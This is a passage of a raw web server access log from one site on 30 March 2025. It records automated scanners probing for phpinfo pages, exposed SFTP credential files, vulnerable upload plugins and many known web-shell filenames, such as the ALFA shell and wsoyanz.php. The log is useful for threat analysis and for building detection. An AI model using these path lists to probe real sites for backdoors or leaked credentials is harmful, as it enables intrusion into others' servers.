"http://grimslut.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 37.19.223.216 - - [30/Mar/2025:14:04:13 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 49.51.38.193 - - [30/Mar/2025:14:12:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2a06:dd00:10:0:88c1:7211:2ae6:e7dd - - [30/Mar/2025:14:49:00 -0400] "GET /phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2a06:dd00:10:0:88c1:7211:2ae6:e7dd - - [30/Mar/2025:14:49:16 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2a06:dd00:10:0:88c1:7211:2ae6:e7dd - - [30/Mar/2025:14:49:20 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2a06:dd00:10:0:88c1:7211:2ae6:e7dd - - [30/Mar/2025:14:49:41 -0400] "GET /_profiler/phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2a06:dd00:10:0:88c1:7211:2ae6:e7dd - - [30/Mar/2025:14:49:45 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2a06:dd00:10:0:88c1:7211:2ae6:e7dd - - [30/Mar/2025:14:49:51 -0400] "GET /php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2a06:dd00:10:0:88c1:7211:2ae6:e7dd - - [30/Mar/2025:14:49:59 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2a06:dd00:10:0:88c1:7211:2ae6:e7dd - - [30/Mar/2025:14:50:08 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2a06:dd00:10:0:88c1:7211:2ae6:e7dd - - [30/Mar/2025:14:51:07 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2a06:dd00:10:0:88c1:7211:2ae6:e7dd - - [30/Mar/2025:14:51:14 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 216.244.66.236 - - [30/Mar/2025:14:53:43 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 196.251.88.242 - - [30/Mar/2025:16:28:28 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.88.242 - - [30/Mar/2025:16:28:44 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.88.242 - - [30/Mar/2025:16:29:01 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 194.38.23.16 - - [30/Mar/2025:16:34:57 -0400] "GET /theme/assets/file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 194.38.23.16 - - [30/Mar/2025:16:34:57 -0400] "GET /plugins/html5-file-upload/html5fileupload.remove.php HTTP/1.1" 301 795 "-" "ALittle Client" 194.38.23.16 - - [30/Mar/2025:16:34:57 -0400] "GET /theme/assets/global/plugins/file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 196.251.71.229 - - [30/Mar/2025:17:13:26 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 196.251.71.229 - - [30/Mar/2025:17:13:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.71.229 - - [30/Mar/2025:17:13:26 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.71.229 - - [30/Mar/2025:17:13:26 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.71.229 - - [30/Mar/2025:17:13:34 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.71.229 - - [30/Mar/2025:17:13:36 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.69.226 - - [30/Mar/2025:17:19:23 -0400] "POST /wp-content/plugins/about.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 196.251.69.226 - - [30/Mar/2025:17:19:23 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 196.251.69.226 - - [30/Mar/2025:17:19:27 -0400] "POST /wp-content/plugins/about.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 196.251.69.226 - - [30/Mar/2025:17:19:28 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 196.251.69.226 - - [30/Mar/2025:17:19:32 -0400] "POST /wp-content/plugins/about.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 196.251.69.226 - - [30/Mar/2025:17:19:32 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 196.251.69.226 - - [30/Mar/2025:17:19:54 -0400] "POST /wp.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 196.251.69.226 - - [30/Mar/2025:17:19:56 -0400] "GET /about.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.2.64.59 - - [30/Mar/2025:18:08:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 84.247.181.144 - - [30/Mar/2025:18:37:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 43.133.7.38 - - [30/Mar/2025:19:08:02 -0400] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "-" 43.153.74.75 - - [30/Mar/2025:20:15:25 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 143.198.50.24 - - [30/Mar/2025:20:21:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 20.57.61.158 - - [30/Mar/2025:21:20:24 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:29 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:30 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:31 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:31 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:32 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:32 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:33 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:33 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:34 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:34 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:35 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:35 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:35 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:36 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:37 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:37 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:38 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:38 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:39 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:39 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:39 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:40 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:41 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:41 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:41 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:42 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:42 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:43 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:43 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:43 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:44 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:44 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:45 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:45 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:46 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:46 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:46 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:47 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:48 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:48 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:49 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:49 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:50 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:50 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:51 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:51 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:52 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:52 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:53 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:53 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:54 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:54 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:55 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:55 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:56 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:56 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:56 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:57 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:57 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:58 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:58 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:59 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:20:59 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:00 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:00 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:01 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:01 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:02 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:02 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:03 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:03 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:04 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:04 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:04 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:05 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:05 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:06 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:06 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:06 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:07 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:07 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:07 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:08 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:08 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:08 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:08 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:09 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:09 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:09 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:10 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:10 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:10 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:11 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:11 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:11 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:12 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:12 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:12 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:12 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:13 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:13 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:13 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:14 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:14 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:14 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:14 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:15 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:15 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:16 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:16 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:17 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:17 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:17 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:18 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:18 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:18 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:19 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:19 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:19 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:20 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:20 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:20 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:21 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:21 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:21 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:21 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:22 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:22 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:22 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:23 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:23 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:23 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:24 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:24 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:24 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:25 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:25 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:26 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:26 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:26 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:26 -0400] 